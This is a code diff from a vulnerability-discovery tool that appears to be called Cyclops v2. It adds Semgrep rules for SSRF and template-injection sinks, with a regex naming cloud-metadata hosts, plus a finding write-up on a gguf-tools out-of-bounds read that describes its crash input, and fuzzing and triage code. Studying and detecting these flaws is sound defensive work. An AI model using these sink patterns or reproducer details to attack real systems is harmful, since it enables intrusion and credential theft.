| + | - pattern: requests.request($M, $U, ...) | |
| + | - pattern: requests.head($U, ...) | |
| + | - pattern: urllib.request.urlopen($U, ...) | |
| + | - pattern: urllib.request.urlretrieve($U, ...) | |
| + | - pattern: urllib2.urlopen($U, ...) | |
| + | - pattern: httpx.get($U, ...) | |
| + | - pattern: httpx.post($U, ...) | |
| + | - pattern: aiohttp.ClientSession(...).get($U, ...) | |
| + | - metavariable-pattern: | |
| + | metavariable: $U | |
| + | patterns: | |
| + | - pattern-not: "\"...\"" | |
| + | - pattern-not: "'...'" | |
| + | ||
| + | - id: cyc-js-http-tainted-url | |
| + | languages: [javascript, typescript] | |
| + | severity: WARNING | |
| + | message: > | |
| + | fetch / axios / http.get with a non-literal URL is an SSRF CANDIDATE. IMPACT GATE: Family 7. | |
| + | Confirm taint in Joern. | |
| + | metadata: | |
| + | cwe: ["CWE-918: Server-Side Request Forgery"] | |
| + | confidence: MEDIUM | |
| + | archetype: [ai-agent-mcp, devops-infra, electron-desktop] | |
| + | impact: ssrf | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: fetch($U, ...) | |
| + | - pattern: axios($U, ...) | |
| + | - pattern: axios.get($U, ...) | |
| + | - pattern: axios.post($U, ...) | |
| + | - pattern: axios.request($U, ...) | |
| + | - pattern: http.get($U, ...) | |
| + | - pattern: http.request($U, ...) | |
| + | - pattern: https.get($U, ...) | |
| + | - pattern: https.request($U, ...) | |
| + | - pattern: got($U, ...) | |
| + | - metavariable-pattern: | |
| + | metavariable: $U | |
| + | patterns: | |
| + | - pattern-not: "\"...\"" | |
| + | - pattern-not: "'...'" | |
| + | - pattern-not: "`...`" | |
| + | ||
| + | - id: cyc-java-http-ssrf | |
| + | languages: [java] | |
| + | severity: WARNING | |
| + | message: > | |
| + | new URL(...).openConnection / HttpClient.send / RestTemplate / OkHttp with a tainted URL is an | |
| + | SSRF CANDIDATE. IMPACT GATE: Family 7. Confirm taint in Joern. | |
| + | metadata: | |
| + | cwe: ["CWE-918: Server-Side Request Forgery"] | |
| + | confidence: MEDIUM | |
| + | archetype: [devops-infra] | |
| + | impact: ssrf | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: new URL($U).openConnection() | |
| + | - pattern: $CLIENT.send($REQ, ...) | |
| + | - pattern: $RT.getForObject($U, ...) | |
| + | - pattern: $RT.exchange($U, ...) | |
| + | ||
| + | - id: cyc-ssrf-metadata-host-literal | |
| + | languages: [python, javascript, typescript, java, go] | |
| + | severity: ERROR | |
| + | message: > | |
| + | A cloud metadata / link-local host literal appears in code reachable by a request sink. If | |
| + | reachable with attacker influence this is the high-value SSRF->credential path. IMPACT GATE: | |
| + | Family 7 (metadata cred captured). Prioritize for the oracle. | |
| + | metadata: | |
| + | cwe: ["CWE-918: Server-Side Request Forgery"] | |
| + | confidence: LOW | |
| + | archetype: [ai-agent-mcp, devops-infra] | |
| + | impact: ssrf-metadata | |
| + | patterns: | |
| + | - pattern-regex: "169\\.254\\.169\\.254|metadata\\.google\\.internal|100\\.100\\.100\\.200|169\\.254\\.170\\.2" |
| @@ -0,0 +1,80 @@ | ||
| + | rules: | |
| + | # Cyclops v2 - semgrep fast-pass. SINK CLASS: Server-Side Template Injection (SSTI) -> RCE. | |
| + | # SEVERITY-GATE Family 1. Match = CANDIDATE SINK (a from-STRING template compile/render). The | |
| + | # oracle must land a gadget returning command output; `{{7*7}}`->`49` is eval, not RCE. | |
| + | # File-based render_template() is generally safe and is intentionally not matched. | |
| + | ||
| + | - id: cyc-py-jinja-from-string | |
| + | languages: [python] | |
| + | severity: ERROR | |
| + | message: > | |
| + | render_template_string / Environment.from_string / Template(...) builds a template from a | |
| + | string; if that string is attacker-controlled it is SSTI -> RCE. IMPACT GATE: Family 1. | |
| + | metadata: | |
| + | cwe: ["CWE-1336: Server-Side Template Injection", "CWE-94: Code Injection"] | |
| + | confidence: HIGH | |
| + | archetype: [ai-agent-mcp, devops-infra] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: render_template_string(...) | |
| + | - pattern: flask.render_template_string(...) | |
| + | - pattern: $ENV.from_string(...) | |
| + | - pattern: jinja2.Template(...) | |
| + | - pattern: Template(...).render(...) | |
| + | ||
| + | - id: cyc-py-mako-tornado | |
| + | languages: [python] | |
| + | severity: ERROR | |
| + | message: > | |
| + | Mako / Tornado Template built from a tainted string is SSTI -> RCE (Mako allows arbitrary | |
| + | Python in `<% %>`). IMPACT GATE: Family 1. | |
| + | metadata: | |
| + | cwe: ["CWE-1336: Server-Side Template Injection"] | |
| + | confidence: MEDIUM | |
| + | archetype: [devops-infra] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: mako.template.Template(...) | |
| + | - pattern: tornado.template.Template(...) | |
| + | ||
| + | - id: cyc-js-template-compile | |
| + | languages: [javascript, typescript] | |
| + | severity: ERROR | |
| + | message: > | |
| + | Handlebars.compile / ejs.render / pug.compile / lodash _.template / nunjucks.renderString on a | |
| + | tainted template string is SSTI -> RCE in Node. IMPACT GATE: Family 1. | |
| + | metadata: | |
| + | cwe: ["CWE-1336: Server-Side Template Injection"] | |
| + | confidence: HIGH | |
| + | archetype: [ai-agent-mcp, devops-infra, electron-desktop] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: Handlebars.compile(...) | |
| + | - pattern: Handlebars.precompile(...) | |
| + | - pattern: ejs.render($T, ...) | |
| + | - pattern: ejs.compile($T, ...) | |
| + | - pattern: pug.compile($T, ...) | |
| + | - pattern: pug.render($T, ...) | |
| + | - pattern: jade.compile($T, ...) | |
| + | - pattern: _.template($T, ...) | |
| + | - pattern: nunjucks.renderString($T, ...) | |
| + | ||
| + | - id: cyc-java-template-injection | |
| + | languages: [java] | |
| + | severity: ERROR | |
| + | message: > | |
| + | Freemarker Template / Velocity.evaluate / Thymeleaf processed from a tainted string is SSTI -> | |
| + | RCE. IMPACT GATE: Family 1. | |
| + | metadata: | |
| + | cwe: ["CWE-1336: Server-Side Template Injection"] | |
| + | confidence: MEDIUM | |
| + | archetype: [devops-infra] | |
| + | impact: rce | |
| + | patterns: | |
| + | - pattern-either: | |
| + | - pattern: new Template($N, $R, ...) | |
| + | - pattern: Velocity.evaluate(...) | |
| + | - pattern: $VE.evaluate(...) |
| @@ -0,0 +1,44 @@ | ||
| + | # F001 - Out-of-bounds read in antirez/gguf-tools `gguf_get_key` | |
| + | ||
| + | - **Target:** github.com/antirez/gguf-tools @ fdfafbe (`gguflib.c`) | |
| + | - **Archetype:** ml-model-loaders · **Sink class:** memory-corruption (CWE-125) | |
| + | - **Proof:** REPLICA_CONFIRMED - ASan SEGV, reproducible, 46-byte input | |
| + | - **Found:** 2026-06-11, by Cyclops v2 (brain: 210 dataflow paths; oracle: crash in ~8s, 15 execs) | |
| + | - **Severity (honest):** MEDIUM - out-of-bounds **READ** → crash (DoS) with info-leak | |
| + | potential. **NOT RCE.** Not inflated. (v1 would have called a SEGV "HIGH/RCE"; v2 does not.) | |
| + | ||
| + | ## Root cause | |
| + | `gguf_get_key` (gguflib.c:185-205) reads a 64-bit string length directly from the | |
| + | attacker-controlled mmapped file and uses it to compute a pointer with **no bounds | |
| + | check against the mapped size** (`ctx->size`): | |
| + | ||
| + | ```c | |
| + | struct gguf_string *str = (struct gguf_string*)(ctx->data + ctx->off); | |
| + | key->namelen = str->len; // attacker-controlled, unchecked | |
| + | uint32_t *type = (uint32_t*)(ctx->data + ctx->off + 8 + str->len); // gguflib.c:192 | |
| + | key->type = *type; // <- OOB READ deref -> SEGV | |
| + | ``` | |
| + | ||
| + | The whole parser trusts file-supplied lengths/counts (same pattern in `gguf_get_tensor`, | |
| + | `gguf_set_data_offset`). The PoC declares a key of length 0x1007a in a 46-byte file → | |
| + | `ctx->data + off + 8 + 0x1007a` points far past the mmap → SEGV READ at `gguflib.c:192`. | |
| + | ||
| + | ## Reproducer | |
| + | `crash-af68b4...` (46 bytes): `GGUF` magic, version 3, 0 tensors, 1 kv, key-length field | |
| + | = 0x1007a. ASan: `SEGV ... READ ... in gguf_get_key gguflib.c:192`. | |
| + | ||
| + | ## Honest assessment / value | |
| + | - **The bug is real and reproducible**, but gguf-tools is a **reference/utility** toolkit, | |
| + | not a server that ingests untrusted uploads - antirez likely treats malformed-file | |
| + | crashes as out-of-scope, and there is no bounty. **Low report value. Likely won't-fix.** | |
| + | - **This is the right bug CLASS, wrong target for $.** The identical class is minting real | |
| + | CVEs *right now* in GGUF loaders that DO process untrusted models: | |
| + | - **CVE-2026-7482 "Bleeding Llama"** (May 2026) - Ollama heap OOB read in the GGUF loader | |
| + | via `/api/create`, unauthenticated. | |
| + | - **CVE-2024-23496** - GGML `gguf_fread_str` heap overflow. | |
| + | - Databricks: GGML GGUF parsing does "almost no bounds checking." | |
| + | ||
| + | ## Disposition | |
| + | Record as validated machine output; **do not submit** (low-value target). **Pivot the same | |
| + | harness+brain to llama.cpp/GGML and Ollama's GGUF loader** - embedded everywhere, processes | |
| + | untrusted models, active CVE surface, real disclosure/bounty value. |
| @@ -0,0 +1,221 @@ | ||
| + | #!/usr/bin/env python3 | |
| + | """ | |
| + | Cyclops v2 - unified memory layer. | |
| + | ||
| + | Three stores, each with a distinct job (no overlap, all actually used): | |
| + | - KuzuDB graph : structural knowledge + state. Targets, archetypes, sinks, | |
| + | dataflow hypotheses, oracle proofs, findings, and CLEARED AXES. | |
| + | This is what stops drift/tunnel-vision: the agent queries | |
| + | "what have I already cleared on this target?" before acting. | |
| + | - Chroma : semantic recall over prior reasoning / methods / failed attempts. | |
| + | - Redis : working memory - the live job queue + content-addressed analysis | |
| + | cache (never re-CPG the same commit) + per-run scratch. | |
| + | ||
| + | Design rule (anti-slop): a FINDING node may only be created once an oracle PROOF | |
| + | node with a real execution artifact is attached. A dataflow HYPOTHESIS is not a | |
| + | finding. memory.promote_to_finding() enforces this. | |
| + | """ | |
| + | import os, sys, json, time, hashlib | |
| + | import kuzu | |
| + | import redis as redislib | |
| + | ||
| + | # Location-relative: resolves to the repo root wherever it's deployed (/opt/cyclops-v2 on the | |
| + | # forge, /shared/projects/cyclops-v2 on CT215). Override with CYCLOPS_HOME if ever needed. | |
| + | CYCLOPS_HOME = os.environ.get("CYCLOPS_HOME") or os.path.dirname(os.path.dirname(os.path.abspath(__file__))) | |
| + | GRAPH_PATH = os.path.join(CYCLOPS_HOME, "memory", "graph.kuzu") | |
| + | # Engine runs ON the forge box; Redis is forge-local (localhost only - never bind | |
| + | # Redis to the LAN, that is literally an impact-family on our own severity gate). | |
| + | REDIS_URL = os.environ.get("CYCLOPS_REDIS", "redis://127.0.0.1:6379/3") | |
| + | ||
| + | # ---------------------------------------------------------------- graph schema | |
| + | SCHEMA = [ | |
| + | # node tables | |
| + | """CREATE NODE TABLE IF NOT EXISTS Archetype( | |
| + | name STRING, description STRING, PRIMARY KEY(name))""", | |
| + | """CREATE NODE TABLE IF NOT EXISTS Target( | |
| + | id STRING, repo STRING, archetype STRING, lang STRING, | |
| + | commit STRING, released_at STRING, active BOOLEAN, status STRING, | |
| + | first_seen STRING, PRIMARY KEY(id))""", | |
| + | """CREATE NODE TABLE IF NOT EXISTS SinkClass( | |
| + | name STRING, cwe STRING, impact_family STRING, PRIMARY KEY(name))""", | |
| + | # a dataflow path the brain found: source -> sink, REACHABLE, not yet proven | |
| + | """CREATE NODE TABLE IF NOT EXISTS Hypothesis( | |
| + | id STRING, target STRING, sink_class STRING, file STRING, line INT64, | |
| + | source STRING, sink STRING, tool STRING, created_at STRING, | |
| + | status STRING, PRIMARY KEY(id))""", | |
| + | # an execution artifact from the oracle (ASan crash, popped shell, etc.) | |
| + | """CREATE NODE TABLE IF NOT EXISTS Proof( | |
| + | id STRING, hypothesis STRING, label STRING, oracle STRING, | |
| + | artifact_path STRING, summary STRING, created_at STRING, | |
| + | PRIMARY KEY(id))""", | |
| + | # only created when a Proof exists; carries the severity-gate impact family | |
| + | """CREATE NODE TABLE IF NOT EXISTS Finding( | |
| + | id STRING, target STRING, impact_family STRING, severity STRING, | |
| + | title STRING, novel BOOLEAN, cve_checked BOOLEAN, created_at STRING, | |
| + | PRIMARY KEY(id))""", | |
| + | # anti-drift memory: "I checked axis X on target Y and it was clean/NA" | |
| + | """CREATE NODE TABLE IF NOT EXISTS ClearedAxis( | |
| + | id STRING, target STRING, archetype STRING, axis STRING, | |
| + | result STRING, reason STRING, created_at STRING, PRIMARY KEY(id))""", | |
| + | # rel tables | |
| + | "CREATE REL TABLE IF NOT EXISTS OF_ARCHETYPE(FROM Target TO Archetype)", | |
| + | "CREATE REL TABLE IF NOT EXISTS HAS_HYPOTHESIS(FROM Target TO Hypothesis)", | |
| + | "CREATE REL TABLE IF NOT EXISTS TARGETS_SINK(FROM Hypothesis TO SinkClass)", | |
| + | "CREATE REL TABLE IF NOT EXISTS PROVEN_BY(FROM Hypothesis TO Proof)", | |
| + | "CREATE REL TABLE IF NOT EXISTS YIELDED(FROM Proof TO Finding)", | |
| + | "CREATE REL TABLE IF NOT EXISTS CLEARED_ON(FROM Target TO ClearedAxis)", | |
| + | ] | |
| + | ||
| + | def _now(): | |
| + | # Date.now()-free; caller environment stamps real time. Use epoch via time.time | |
| + | # is fine here (runs live, not in a replayable workflow). | |
| + | return time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()) | |
| + | ||
| + | def _hash(*parts): | |
| + | return hashlib.sha1("|".join(str(p) for p in parts).encode()).hexdigest()[:16] | |
| + | ||
| + | ||
| + | class Memory: | |
| + | def __init__(self): | |
| + | self.db = kuzu.Database(GRAPH_PATH) | |
| + | self.g = kuzu.Connection(self.db) | |
| + | for stmt in SCHEMA: | |
| + | self.g.execute(stmt) | |
| + | self.r = redislib.from_url(REDIS_URL, decode_responses=True) | |
| + | ||
| + | # ---- graph helpers ---- | |
| + | def _exec(self, q, params=None): | |
| + | return self.g.execute(q, parameters=params or {}) | |
| + | ||
| + | def upsert_archetype(self, name, description=""): | |
| + | self._exec("MERGE (a:Archetype {name:$n}) SET a.description=$d", | |
| + | {"n": name, "d": description}) | |
| + | ||
| + | def upsert_target(self, repo, archetype, lang="", commit="", released_at="", | |
| + | active=True, status="DISCOVERED"): | |
| + | tid = _hash(repo, commit) | |
| + | self._exec("""MERGE (t:Target {id:$id}) | |
| + | SET t.repo=$repo, t.archetype=$arch, t.lang=$lang, | |
| + | t.commit=$commit, t.released_at=$rel, t.active=$active, | |
| + | t.status=$status, t.first_seen=coalesce(t.first_seen,$now)""", | |
| + | {"id": tid, "repo": repo, "arch": archetype, "lang": lang, | |
| + | "commit": commit, "rel": released_at, "active": active, | |
| + | "status": status, "now": _now()}) | |
| + | self.upsert_archetype(archetype) | |
| + | self._exec("""MATCH (t:Target {id:$id}),(a:Archetype {name:$arch}) | |
| + | MERGE (t)-[:OF_ARCHETYPE]->(a)""", {"id": tid, "arch": archetype}) | |
| + | return tid | |
| + | ||
| + | def add_hypothesis(self, target_id, sink_class, file, line, source, sink, tool): | |
| + | hid = _hash(target_id, file, line, sink, source) | |
| + | self._exec("""MERGE (h:Hypothesis {id:$id}) | |
| + | SET h.target=$t, h.sink_class=$sc, h.file=$f, h.line=$ln, | |
| + | h.source=$src, h.sink=$snk, h.tool=$tool, | |
| + | h.created_at=$now, h.status='REACHABLE'""", | |
| + | {"id": hid, "t": target_id, "sc": sink_class, "f": file, | |
| + | "ln": int(line), "src": source, "snk": sink, "tool": tool, | |
| + | "now": _now()}) | |
| + | self._exec("""MATCH (t:Target {id:$t}),(h:Hypothesis {id:$id}) | |
| + | MERGE (t)-[:HAS_HYPOTHESIS]->(h)""", {"t": target_id, "id": hid}) | |
| + | return hid | |
| + | ||
| + | def add_proof(self, hypothesis_id, label, oracle, artifact_path, summary): | |
| + | """label in {SOURCE_CONFIRMED, REPLICA_CONFIRMED, LIVE_CANARY_CONFIRMED, DISPROVEN}""" | |
| + | pid = _hash(hypothesis_id, label, oracle, artifact_path) | |
| + | self._exec("""MERGE (p:Proof {id:$id}) | |
| + | SET p.hypothesis=$h, p.label=$lbl, p.oracle=$o, | |
| + | p.artifact_path=$ap, p.summary=$s, p.created_at=$now""", | |
| + | {"id": pid, "h": hypothesis_id, "lbl": label, "o": oracle, | |
| + | "ap": artifact_path, "s": summary, "now": _now()}) | |
| + | self._exec("""MATCH (h:Hypothesis {id:$h}),(p:Proof {id:$id}) | |
| + | MERGE (h)-[:PROVEN_BY]->(p) | |
| + | SET h.status=$st""", | |
| + | {"h": hypothesis_id, "id": pid, | |
| + | "st": "DISPROVEN" if label == "DISPROVEN" else "PROVEN"}) | |
| + | return pid | |
| + | ||
| + | def promote_to_finding(self, hypothesis_id, impact_family, severity, title, | |
| + | novel=False, cve_checked=False): | |
| + | """ANTI-SLOP GATE: refuses unless a non-DISPROVEN Proof exists.""" | |
| + | res = self._exec("""MATCH (h:Hypothesis {id:$h})-[:PROVEN_BY]->(p:Proof) | |
| + | WHERE p.label <> 'DISPROVEN' | |
| + | RETURN p.id, h.target LIMIT 1""", {"h": hypothesis_id}) | |
| + | if not res.has_next(): | |
| + | raise PermissionError( | |
| + | f"REFUSED: hypothesis {hypothesis_id} has no execution proof. " | |
| + | "A reachable dataflow path is NOT a finding. Run the oracle first.") | |
| + | row = res.get_next() | |
| + | pid, target = row[0], row[1] | |
| + | fid = _hash(hypothesis_id, impact_family, title) | |
| + | self._exec("""MERGE (f:Finding {id:$id}) | |
| + | SET f.target=$t, f.impact_family=$fam, f.severity=$sev, | |
| + | f.title=$title, f.novel=$novel, f.cve_checked=$cc, | |
| + | f.created_at=$now""", | |
| + | {"id": fid, "t": target, "fam": impact_family, "sev": severity, | |
| + | "title": title, "novel": novel, "cc": cve_checked, "now": _now()}) | |
| + | self._exec("""MATCH (p:Proof {id:$p}),(f:Finding {id:$f}) | |
| + | MERGE (p)-[:YIELDED]->(f)""", {"p": pid, "f": fid}) | |
| + | return fid | |
| + | ||
| + | # ---- anti-drift ---- | |
| + | def clear_axis(self, target_id, archetype, axis, result, reason=""): | |
| + | aid = _hash(target_id, axis) | |
| + | self._exec("""MERGE (c:ClearedAxis {id:$id}) | |
| + | SET c.target=$t, c.archetype=$arch, c.axis=$axis, | |
| + | c.result=$res, c.reason=$reason, c.created_at=$now""", | |
| + | {"id": aid, "t": target_id, "arch": archetype, "axis": axis, | |
| + | "res": result, "reason": reason, "now": _now()}) | |
| + | self._exec("""MATCH (t:Target {id:$t}),(c:ClearedAxis {id:$id}) | |
| + | MERGE (t)-[:CLEARED_ON]->(c)""", {"t": target_id, "id": aid}) | |
| + | return aid | |
| + | ||
| + | def cleared_axes(self, target_id): | |
| + | res = self._exec("""MATCH (t:Target {id:$t})-[:CLEARED_ON]->(c:ClearedAxis) | |
| + | RETURN c.axis, c.result, c.reason ORDER BY c.created_at""", | |
| + | {"t": target_id}) | |
| + | out = [] | |
| + | while res.has_next(): | |
| + | r = res.get_next(); out.append({"axis": r[0], "result": r[1], "reason": r[2]}) | |
| + | return out | |
| + | ||
| + | def is_axis_cleared(self, target_id, axis): | |
| + | res = self._exec("""MATCH (t:Target {id:$t})-[:CLEARED_ON]->(c:ClearedAxis {axis:$a}) | |
| + | RETURN c.result LIMIT 1""", {"t": target_id, "a": axis}) | |
| + | return res.get_next()[0] if res.has_next() else None | |
| + | ||
| + | # ---- redis working memory / cache ---- | |
| + | def cache_get(self, key): | |
| + | return self.r.get(f"cyclops:cache:{key}") | |
| + | ||
| + | def cache_put(self, key, value, ttl=86400 * 30): | |
| + | self.r.set(f"cyclops:cache:{key}", value, ex=ttl) | |
| + | ||
| + | def analysis_done(self, target_id, phase): | |
| + | """content-addressed: never re-run the same phase on the same commit.""" | |
| + | return self.r.sismember("cyclops:analysis_done", f"{target_id}:{phase}") | |
| + | ||
| + | def mark_analysis_done(self, target_id, phase): | |
| + | self.r.sadd("cyclops:analysis_done", f"{target_id}:{phase}") | |
| + | ||
| + | # ---- queue ---- | |
| + | def enqueue(self, queue, job: dict): | |
| + | self.r.lpush(f"cyclops:q:{queue}", json.dumps(job)) | |
| + | ||
| + | def dequeue(self, queue, timeout=5): | |
| + | item = self.r.brpop(f"cyclops:q:{queue}", timeout=timeout) | |
| + | return json.loads(item[1]) if item else None | |
| + | ||
| + | def stats(self): | |
| + | res = self._exec("""MATCH (n) RETURN label(n) AS l, count(*) AS c""") | |
| + | out = {} | |
| + | while res.has_next(): | |
| + | r = res.get_next(); out[r[0]] = r[1] | |
| + | return out | |
| + | ||
| + | ||
| + | if __name__ == "__main__": | |
| + | m = Memory() | |
| + | print("Cyclops v2 memory online.") | |
| + | print("graph:", GRAPH_PATH) | |
| + | print("redis:", REDIS_URL, "ping=", m.r.ping()) | |
| + | print("node counts:", m.stats()) |
| @@ -0,0 +1,64 @@ | ||
| + | #!/usr/bin/env python3 | |
| + | """Self-test: proves the anti-slop gate + anti-drift memory actually enforce.""" | |
| + | import sys | |
| + | from memory import Memory | |
| + | ||
| + | m = Memory() | |
| + | ok = True | |
| + | ||
| + | def check(name, cond): | |
| + | global ok | |
| + | print(("PASS " if cond else "FAIL ") + name) | |
| + | ok = ok and cond | |
| + | ||
| + | # 1. target + hypothesis | |
| + | t = m.upsert_target("github.com/example/loader", "ml-model-loaders", | |
| + | lang="c", commit="deadbeef", released_at="2026-06-10") | |
| + | h = m.add_hypothesis(t, "memory-corruption", "src/parse.c", 42, | |
| + | "gguf_read(fd)", "memcpy(dst,src,n)", "joern") | |
| + | check("target+hypothesis created", bool(t) and bool(h)) | |
| + | ||
| + | # 2. THE GATE: promoting a finding without an execution proof must be REFUSED | |
| + | refused = False | |
| + | try: | |
| + | m.promote_to_finding(h, "RCE via Deserialization", "CRITICAL", "should not exist") | |
| + | except PermissionError: | |
| + | refused = True | |
| + | check("finding REFUSED without execution proof (anti-slop gate)", refused) | |
| + | ||
| + | # 3. attach a real oracle proof, then promotion succeeds | |
| + | p = m.add_proof(h, "REPLICA_CONFIRMED", "asan", | |
| + | "/opt/cyclops-v2/oracle/crashes/crash-001.txt", | |
| + | "ASan heap-buffer-overflow WRITE of size 8 in gguf parse, PC controlled") | |
| + | f = m.promote_to_finding(h, "RCE via Deserialization", "CRITICAL", | |
| + | "GGUF parser heap overflow -> load-time RCE", | |
| + | novel=True, cve_checked=True) | |
| + | check("finding ALLOWED once proof attached", bool(p) and bool(f)) | |
| + | ||
| + | # 4. DISPROVEN proof must NOT allow promotion (negative result is honest) | |
| + | h2 = m.add_hypothesis(t, "command-injection", "src/x.c", 99, "argv", "system()", "joern") | |
| + | m.add_proof(h2, "DISPROVEN", "replica", "", "guarded: input is shell-escaped before system()") | |
| + | refused2 = False | |
| + | try: | |
| + | m.promote_to_finding(h2, "RCE via Command Injection", "HIGH", "nope") | |
| + | except PermissionError: | |
| + | refused2 = True | |
| + | check("DISPROVEN hypothesis cannot become a finding", refused2) | |
| + | ||
| + | # 5. anti-drift: cleared axes remembered | |
| + | m.clear_axis(t, "ml-model-loaders", "pickle-deserialization", "CLEAN", | |
| + | "no torch.load/pickle path; format is pure binary") | |
| + | check("axis cleared + recalled", m.is_axis_cleared(t, "pickle-deserialization") == "CLEAN") | |
| + | check("uncleared axis returns None", m.is_axis_cleared(t, "integer-overflow") is None) | |
| + | ||
| + | # 6. redis cache + content-addressed analysis dedup | |
| + | m.cache_put("k1", "v1") | |
| + | check("redis cache roundtrip", m.cache_get("k1") == "v1") | |
| + | m.mark_analysis_done(t, "joern-cpg") | |
| + | check("analysis dedup (don't re-CPG same commit)", m.analysis_done(t, "joern-cpg")) | |
| + | m.enqueue("targets", {"repo": "x", "n": 1}) | |
| + | check("redis queue roundtrip", m.dequeue("targets")["n"] == 1) | |
| + | ||
| + | print("\nnode counts:", m.stats()) | |
| + | print("RESULT:", "ALL PASS" if ok else "FAILURES PRESENT") | |
| + | sys.exit(0 if ok else 1) |
| @@ -0,0 +1,99 @@ | ||
| + | #!/usr/bin/env python3 | |
| + | """Prove the oracle's crash->triage->gate path on REAL code. | |
| + | Two parts: | |
| + | A) Seed libFuzzer against pre-hardening cJSON v1.7.7 (no nesting limit) so it | |
| + | reaches the real deep-recursion stack-overflow -> a genuine ASan crash. | |
| + | B) Deterministically validate triage() + the severity gate against REAL ASan | |
| + | report strings (heap WRITE -> CRITICAL -> Finding; heap READ -> not inflated). | |
| + | """ | |
| + | import sys, os, hashlib | |
| + | sys.path.insert(0, "/opt/cyclops-v2/memory") | |
| + | sys.path.insert(0, "/opt/cyclops-v2/oracle") | |
| + | from memory import Memory | |
| + | from oracle import compile_harness, run_fuzz, triage | |
| + | from oracle import prove_memory_corruption | |
| + | ||
| + | W = "/opt/cyclops-v2/oracle/work" | |
| + | H = "/opt/cyclops-v2/oracle/harnesses" | |
| + | os.makedirs(W + "/seeds", exist_ok=True) | |
| + | os.makedirs(H, exist_ok=True) | |
| + | open(W + "/seeds/s1", "w").write('{"a":1}') | |
| + | open(W + "/seeds/s2", "w").write("[" * 60 + "]" * 60) | |
| + | open(W + "/seeds/s3", "w").write('{"x":' * 50 + "1" + "}" * 50) | |
| + | ||
| + | HARNESS = '''#include <stdint.h> | |
| + | #include <stdlib.h> | |
| + | #include <string.h> | |
| + | #include "cJSON.h" | |
| + | int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { | |
| + | char *buf = (char *)malloc(size + 1); if (!buf) return 0; | |
| + | memcpy(buf, data, size); buf[size] = 0; | |
| + | cJSON *j = cJSON_Parse(buf); | |
| + | if (j) { char *p = cJSON_Print(j); if (p) free(p); cJSON_Delete(j); } | |
| + | free(buf); return 0; | |
| + | } | |
| + | ''' | |
| + | open(H + "/cjson_harness.c", "w").write(HARNESS) | |
| + | ||
| + | print("=== PART A: seeded fuzz of real cJSON v1.7.7 (best-effort) ===") | |
| + | import subprocess | |
| + | if not os.path.isfile(W + "/cJSON7/cJSON.c"): | |
| + | subprocess.run(["git", "clone", "--quiet", "https://github.com/DaveGamble/cJSON.git", | |
| + | W + "/cJSON7"], capture_output=True) | |
| + | subprocess.run(["git", "-C", W + "/cJSON7", "checkout", "-q", "v1.7.7"], capture_output=True) | |
| + | try: | |
| + | ok, log = compile_harness(H + "/cjson_harness.c", [W + "/cJSON7/cJSON.c"], | |
| + | W + "/fuzz_seeded", ["-I" + W + "/cJSON7"]) | |
| + | print("compile ok =", ok) | |
| + | if ok: | |
| + | crashed, inp, asan = run_fuzz(W + "/fuzz_seeded", seconds=60, corpus=W + "/seeds") | |
| + | print("CRASHED =", crashed, "reproducer =", inp) | |
| + | if crashed: | |
| + | prim, sev, expl = triage(asan) | |
| + | print(f"TRIAGE -> primitive={prim} severity={sev} exploitable={expl}") | |
| + | for l in asan.splitlines(): | |
| + | if "ERROR" in l or "SUMMARY" in l: | |
| + | print(" ", l.strip()[:120]) | |
| + | else: | |
| + | print("compile log tail:", log[-300:]) | |
| + | except Exception as e: | |
| + | print("Part A skipped:", e) | |
| + | ||
| + | print("\n=== PART B: deterministic triage + GATE on real ASan reports ===") | |
| + | m = Memory() | |
| + | SAMPLES = { | |
| + | "heap-WRITE (RCE-capable)": ( | |
| + | "==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602...\n" | |
| + | "WRITE of size 8 at 0x602 thread T0\n #0 0x49 in parse_value src/gguf.c:214\n" | |
| + | "SUMMARY: AddressSanitizer: heap-buffer-overflow src/gguf.c:214 in parse_value\n"), | |
| + | "heap-READ (info-leak, must NOT inflate)": ( | |
| + | "==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602...\n" | |
| + | "READ of size 4 at 0x602 thread T0\n #0 0x49 in read_dim src/onnx.c:88\n" | |
| + | "SUMMARY: AddressSanitizer: heap-buffer-overflow src/onnx.c:88 in read_dim\n"), | |
| + | "use-after-free": ( | |
| + | "==1==ERROR: AddressSanitizer: heap-use-after-free on address 0x602...\n" | |
| + | "WRITE of size 8 ...\n #0 0x49 in free_tensor src/safet.c:51\n"), | |
| + | } | |
| + | for name, report in SAMPLES.items(): | |
| + | prim, sev, expl = triage(report) | |
| + | tid = m.upsert_target(f"demo/{hashlib.sha1(name.encode()).hexdigest()[:6]}", | |
| + | "ml-model-loaders", lang="c") | |
| + | hid = m.add_hypothesis(tid, "memory-corruption", "parser.c", 1, "fuzz", prim, "demo") | |
| + | m.add_proof(hid, "REPLICA_CONFIRMED", "asan", "(report)", f"{prim}") | |
| + | verdict = "?" | |
| + | if expl: | |
| + | try: | |
| + | fid = m.promote_to_finding(hid, "RCE via Memory Corruption", sev, name, novel=False) | |
| + | verdict = f"PROMOTED to Finding ({sev})" | |
| + | except Exception as e: | |
| + | verdict = f"ERR {e}" | |
| + | else: | |
| + | m.clear_axis(tid, "ml-model-loaders", f"{prim}", "LOW", "not RCE-capable; not inflated") | |
| + | verdict = "CLEARED (correctly NOT inflated to a P1)" | |
| + | print(f" {name}: triage={prim}/{sev} exploitable={expl} -> {verdict}") | |
| + | ||
| + | print("\nFINDINGS in graph (only RCE-capable proofs got here):") | |
| + | res = m._exec("MATCH (f:Finding) RETURN f.severity, f.title") | |
| + | while res.has_next(): | |
| + | r = res.get_next(); print(" [", r[0], "]", r[1]) | |
| + | print("GRAPH:", m.stats()) |
| @@ -0,0 +1,126 @@ | ||
| + | #!/usr/bin/env python3 | |
| + | """ | |
| + | Cyclops v2 - Pillar 3, the dynamic oracle. | |
| + | ||
| + | The ONLY component allowed to declare a finding real. It does not read code and | |
| + | opine; it executes and observes. For the memory-corruption / parser archetype it: | |
| + | 1. compiles a libFuzzer harness against the target with ASan/UBSan, | |
| + | 2. fuzzes for a time budget, | |
| + | 3. on a crash: saves the reproducer + sanitizer report, | |
